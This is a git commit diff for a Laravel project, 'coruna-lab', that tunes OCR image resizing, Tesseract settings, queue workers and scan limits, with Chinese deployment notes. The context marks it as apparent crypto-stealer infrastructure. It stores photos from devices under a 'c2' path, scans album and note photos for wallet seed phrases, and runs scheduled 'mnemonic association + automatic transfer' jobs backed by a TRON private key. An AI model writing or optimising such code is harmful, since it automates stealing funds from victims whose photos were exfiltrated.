fix: static
This commit is contained in:
+3
-3
@@ -14,8 +14,8 @@ APP_MAINTENANCE_DRIVER=file
|
|||||||
|
|
||||||
BCRYPT_ROUNDS=12
|
BCRYPT_ROUNDS=12
|
||||||
|
|
||||||
LOG_CHANNEL=stack
|
LOG_CHANNEL=daily
|
||||||
LOG_STACK=daily
|
LOG_DAILY_DAYS=14
|
||||||
LOG_DEPRECATIONS_CHANNEL=null
|
LOG_DEPRECATIONS_CHANNEL=null
|
||||||
LOG_LEVEL=debug
|
LOG_LEVEL=debug
|
||||||
|
|
||||||
@@ -126,4 +126,4 @@ TRANSFER_FEE_PRIVATE_KEY_TRON=
|
|||||||
# PHOTO_ORIGIN_TIMEOUT=60
|
# PHOTO_ORIGIN_TIMEOUT=60
|
||||||
|
|
||||||
CORUNA_TESSERACT=/usr/bin/tesseract
|
CORUNA_TESSERACT=/usr/bin/tesseract
|
||||||
CORUNA_OCR_LANGS=eng+chi_sim
|
CORUNA_OCR_MAX_EDGE=1280
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ use Illuminate\Console\Command;
|
|||||||
class ScanMnemonicsCommand extends Command
|
class ScanMnemonicsCommand extends Command
|
||||||
{
|
{
|
||||||
protected $signature = 'coruna:scan-mnemonics
|
protected $signature = 'coruna:scan-mnemonics
|
||||||
{--limit=50 : Max photos to enqueue per run}';
|
{--limit=200 : Max photos to enqueue per run}';
|
||||||
|
|
||||||
protected $description = 'Enqueue pending album/note mnemonic scans (does not run Tesseract)';
|
protected $description = 'Enqueue pending album/note mnemonic scans (does not run Tesseract)';
|
||||||
|
|
||||||
|
|||||||
@@ -9,6 +9,9 @@ use Illuminate\Support\Facades\Storage;
|
|||||||
|
|
||||||
class PhotoOcrPreparer
|
class PhotoOcrPreparer
|
||||||
{
|
{
|
||||||
|
/** @var array<string, ?string> */
|
||||||
|
private static array $bins = [];
|
||||||
|
|
||||||
public function __construct(private readonly PhotoPreview $preview) {}
|
public function __construct(private readonly PhotoPreview $preview) {}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,30 +24,49 @@ class PhotoOcrPreparer
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
$payload = $this->preview->payload($abs, (string) ($photo->device?->device_id ?: $photo->device_id), (string) $photo->sha256);
|
$jpeg = $this->tempJpeg();
|
||||||
$bytes = (string) ($payload['bytes'] ?? '');
|
if ($jpeg === null) {
|
||||||
if ($bytes === '') {
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
$tmp = tempnam(sys_get_temp_dir(), 'ocr_');
|
$head = (string) @file_get_contents($abs, false, null, 0, 64);
|
||||||
if ($tmp === false) {
|
if ($this->preview->headLooksHeic($head) || $this->looksHeicPath($abs)) {
|
||||||
|
$payload = $this->preview->payload(
|
||||||
|
$abs,
|
||||||
|
(string) ($photo->device?->device_id ?: $photo->device_id),
|
||||||
|
(string) $photo->sha256,
|
||||||
|
);
|
||||||
|
$bytes = (string) ($payload['bytes'] ?? '');
|
||||||
|
if ($bytes === '' || ! $this->isJpeg($bytes)) {
|
||||||
|
@unlink($jpeg);
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
file_put_contents($jpeg, $bytes);
|
||||||
|
} elseif (! @copy($abs, $jpeg)) {
|
||||||
|
@unlink($jpeg);
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
$jpeg = $tmp.'.jpg';
|
|
||||||
@unlink($tmp);
|
|
||||||
file_put_contents($jpeg, $bytes);
|
|
||||||
$this->resize($jpeg);
|
$this->resize($jpeg);
|
||||||
|
|
||||||
return $jpeg;
|
return is_file($jpeg) ? $jpeg : null;
|
||||||
}
|
}
|
||||||
|
|
||||||
private function resize(string $path): void
|
private function resize(string $path): void
|
||||||
{
|
{
|
||||||
$max = (int) config('coruna.ocr.max_edge', 1800);
|
$max = (int) config('coruna.ocr.max_edge', 1280);
|
||||||
if ($max < 400) {
|
if ($max < 400) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
$info = @getimagesize($path);
|
||||||
|
if (is_array($info) && (int) ($info[0] ?? 0) <= $max && (int) ($info[1] ?? 0) <= $max) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ($this->resizeWithGd($path, $max)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
$magick = $this->which('magick') ?? $this->which('convert');
|
$magick = $this->which('magick') ?? $this->which('convert');
|
||||||
if ($magick !== null) {
|
if ($magick !== null) {
|
||||||
Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]);
|
Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]);
|
||||||
@@ -56,11 +78,77 @@ class PhotoOcrPreparer
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function resizeWithGd(string $path, int $max): bool
|
||||||
|
{
|
||||||
|
if (! function_exists('imagecreatefromstring') || ! function_exists('imagejpeg')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$bytes = @file_get_contents($path);
|
||||||
|
if (! is_string($bytes) || $bytes === '') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$src = @imagecreatefromstring($bytes);
|
||||||
|
if ($src === false) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$width = imagesx($src);
|
||||||
|
$height = imagesy($src);
|
||||||
|
$edge = max($width, $height);
|
||||||
|
if ($edge <= $max) {
|
||||||
|
imagedestroy($src);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
$scale = $max / $edge;
|
||||||
|
$newW = max(1, (int) round($width * $scale));
|
||||||
|
$newH = max(1, (int) round($height * $scale));
|
||||||
|
$dst = imagecreatetruecolor($newW, $newH);
|
||||||
|
if ($dst === false) {
|
||||||
|
imagedestroy($src);
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
imagecopyresampled($dst, $src, 0, 0, 0, 0, $newW, $newH, $width, $height);
|
||||||
|
imagedestroy($src);
|
||||||
|
$ok = imagejpeg($dst, $path, 85);
|
||||||
|
imagedestroy($dst);
|
||||||
|
|
||||||
|
return $ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function tempJpeg(): ?string
|
||||||
|
{
|
||||||
|
$tmp = tempnam(sys_get_temp_dir(), 'ocr_');
|
||||||
|
if ($tmp === false) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$jpeg = $tmp.'.jpg';
|
||||||
|
@unlink($tmp);
|
||||||
|
|
||||||
|
return $jpeg;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function looksHeicPath(string $path): bool
|
||||||
|
{
|
||||||
|
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
|
||||||
|
|
||||||
|
return in_array($ext, ['heic', 'heif'], true);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function isJpeg(string $bytes): bool
|
||||||
|
{
|
||||||
|
return strlen($bytes) >= 3 && substr($bytes, 0, 2) === "\xFF\xD8";
|
||||||
|
}
|
||||||
|
|
||||||
private function which(string $bin): ?string
|
private function which(string $bin): ?string
|
||||||
{
|
{
|
||||||
|
if (array_key_exists($bin, self::$bins)) {
|
||||||
|
return self::$bins[$bin];
|
||||||
|
}
|
||||||
$result = Process::timeout(3)->run(['which', $bin]);
|
$result = Process::timeout(3)->run(['which', $bin]);
|
||||||
$path = trim($result->output());
|
$path = trim($result->output());
|
||||||
|
self::$bins[$bin] = $result->successful() && $path !== '' ? $path : null;
|
||||||
|
|
||||||
return $result->successful() && $path !== '' ? $path : null;
|
return self::$bins[$bin];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,13 +14,15 @@ class TesseractOcrDriver implements OcrDriver
|
|||||||
}
|
}
|
||||||
|
|
||||||
$bin = (string) config('coruna.ocr.tesseract', 'tesseract');
|
$bin = (string) config('coruna.ocr.tesseract', 'tesseract');
|
||||||
$langs = (string) config('coruna.ocr.langs', 'eng+chi_sim');
|
$oem = max(0, (int) config('coruna.ocr.oem', 1));
|
||||||
|
$psm = max(0, (int) config('coruna.ocr.psm', 6));
|
||||||
$result = Process::timeout(90)->run([
|
$result = Process::timeout(90)->run([
|
||||||
$bin,
|
$bin,
|
||||||
$imagePath,
|
$imagePath,
|
||||||
'stdout',
|
'stdout',
|
||||||
'-l', $langs,
|
'-l', 'eng',
|
||||||
'--psm', '6',
|
'--oem', (string) $oem,
|
||||||
|
'--psm', (string) $psm,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if (! $result->successful()) {
|
if (! $result->successful()) {
|
||||||
|
|||||||
+3
-2
@@ -14,8 +14,9 @@ $agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', ''));
|
|||||||
return [
|
return [
|
||||||
'ocr' => [
|
'ocr' => [
|
||||||
'tesseract' => env('CORUNA_TESSERACT', 'tesseract'),
|
'tesseract' => env('CORUNA_TESSERACT', 'tesseract'),
|
||||||
'langs' => env('CORUNA_OCR_LANGS', 'eng+chi_sim'),
|
'oem' => (int) env('CORUNA_OCR_OEM', 1),
|
||||||
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 1800),
|
'psm' => (int) env('CORUNA_OCR_PSM', 6),
|
||||||
|
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 1280),
|
||||||
],
|
],
|
||||||
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
||||||
'xxbb' => [
|
'xxbb' => [
|
||||||
|
|||||||
+2
-2
@@ -18,7 +18,7 @@ return [
|
|||||||
|
|
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
'default' => env('LOG_CHANNEL', 'stack'),
|
'default' => env('LOG_CHANNEL', 'daily'),
|
||||||
|
|
||||||
/*
|
/*
|
||||||
|--------------------------------------------------------------------------
|
|--------------------------------------------------------------------------
|
||||||
@@ -54,7 +54,7 @@ return [
|
|||||||
|
|
||||||
'stack' => [
|
'stack' => [
|
||||||
'driver' => 'stack',
|
'driver' => 'stack',
|
||||||
'channels' => explode(',', (string) env('LOG_STACK', 'daily')),
|
'channels' => ['daily'],
|
||||||
'ignore_exceptions' => false,
|
'ignore_exceptions' => false,
|
||||||
],
|
],
|
||||||
|
|
||||||
|
|||||||
@@ -472,12 +472,12 @@ cd /www/wwwroot/coruna-lab
|
|||||||
|
|
||||||
```text
|
```text
|
||||||
名称: coruna-ocr
|
名称: coruna-ocr
|
||||||
启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=2 --tries=1 --timeout=120 --max-jobs=50
|
启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=0 --tries=1 --timeout=90 --max-jobs=100
|
||||||
启动目录: /www/wwwroot/coruna-lab
|
启动目录: /www/wwwroot/coruna-lab
|
||||||
进程数量: 1
|
进程数量: 3
|
||||||
```
|
```
|
||||||
|
|
||||||
机器上需安装 `tesseract` 及语言包 `eng` + `chi_sim`。`QUEUE_CONNECTION` 必须是 `redis`。
|
机器上需安装 `tesseract` 及 `tesseract-ocr-eng`(助记词只跑英文)。`QUEUE_CONNECTION` 必须是 `redis`。4 核机器 OCR worker 用 2~3 个,不要和 `coruna-queue` 抢满 CPU。
|
||||||
|
|
||||||
1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
|
1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
|
||||||
|
|
||||||
|
|||||||
+5
-3
@@ -26,7 +26,7 @@ fileinfo gmp redis
|
|||||||
```
|
```
|
||||||
确认:
|
确认:
|
||||||
tesseract --list-langs
|
tesseract --list-langs
|
||||||
# 必须有 eng 和 chi_sim
|
# 必须有 eng(助记词 OCR 默认只跑英文)
|
||||||
which tesseract
|
which tesseract
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -67,6 +67,8 @@ php artisan key:generate # 仅全新安装;已有库后禁止再跑,否则
|
|||||||
chown -R www:www storage bootstrap/cache
|
chown -R www:www storage bootstrap/cache
|
||||||
chmod -R ug+rwx storage bootstrap/cache
|
chmod -R ug+rwx storage bootstrap/cache
|
||||||
chown -R www:www /www/wwwroot/coruna-lab/storage
|
chown -R www:www /www/wwwroot/coruna-lab/storage
|
||||||
|
chmod +x /www/wwwroot/coruna-lab/bin/heif-convert
|
||||||
|
|
||||||
chattr -i /www/wwwroot/coruna-lab/public/.user.ini
|
chattr -i /www/wwwroot/coruna-lab/public/.user.ini
|
||||||
|
|
||||||
chown -R www:www /www/wwwroot/coruna-lab/public /www/wwwroot/coruna-lab/storage
|
chown -R www:www /www/wwwroot/coruna-lab/public /www/wwwroot/coruna-lab/storage
|
||||||
@@ -135,9 +137,9 @@ chown www:www /www/wwwroot/coruna-lab/bin/heif-convert
|
|||||||
进程数量: 2
|
进程数量: 2
|
||||||
|
|
||||||
名称: coruna-ocr
|
名称: coruna-ocr
|
||||||
启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=2 --tries=1 --timeout=120 --max-jobs=50
|
启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=0 --tries=1 --timeout=90 --max-jobs=100
|
||||||
启动目录: /www/wwwroot/coruna-lab
|
启动目录: /www/wwwroot/coruna-lab
|
||||||
进程数量: 1
|
进程数量: 3
|
||||||
```
|
```
|
||||||
|
|
||||||
- 定时任务(每分钟:助记词关联 + 自动转账;每 15 分钟 / 每天 00:10:每日报表汇总)
|
- 定时任务(每分钟:助记词关联 + 自动转账;每 15 分钟 / 每天 00:10:每日报表汇总)
|
||||||
|
|||||||
+1
-1
@@ -31,7 +31,7 @@ Schedule::command('coruna:sync-monitors --limit=200')
|
|||||||
->withoutOverlapping()
|
->withoutOverlapping()
|
||||||
->runInBackground();
|
->runInBackground();
|
||||||
|
|
||||||
Schedule::command('coruna:scan-mnemonics --limit=50')
|
Schedule::command('coruna:scan-mnemonics --limit=200')
|
||||||
->everyMinute()
|
->everyMinute()
|
||||||
->withoutOverlapping()
|
->withoutOverlapping()
|
||||||
->runInBackground();
|
->runInBackground();
|
||||||
|
|||||||
@@ -396,16 +396,24 @@ TXT;
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
return $this->storePhoto($device);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $attrs
|
||||||
|
*/
|
||||||
|
private function storePhoto(Device $device, array $attrs = []): Photo
|
||||||
|
{
|
||||||
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==');
|
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==');
|
||||||
$rel = 'c2/photos/'.$device->device_id.'/test.png';
|
$rel = 'c2/photos/'.$device->device_id.'/'.uniqid('p_', true).'.png';
|
||||||
Storage::disk('local')->put($rel, $png);
|
Storage::disk('local')->put($rel, $png);
|
||||||
|
|
||||||
return Photo::query()->create([
|
return Photo::query()->create(array_merge([
|
||||||
'device_id' => $device->id,
|
'device_id' => $device->id,
|
||||||
'sha256' => hash('sha256', $png),
|
'sha256' => hash('sha256', $png.uniqid('', true)),
|
||||||
'path' => $rel,
|
'path' => $rel,
|
||||||
'size' => strlen($png),
|
'size' => strlen($png),
|
||||||
'scan_status' => MnemonicScanStatus::PENDING,
|
'scan_status' => MnemonicScanStatus::PENDING,
|
||||||
]);
|
], $attrs));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user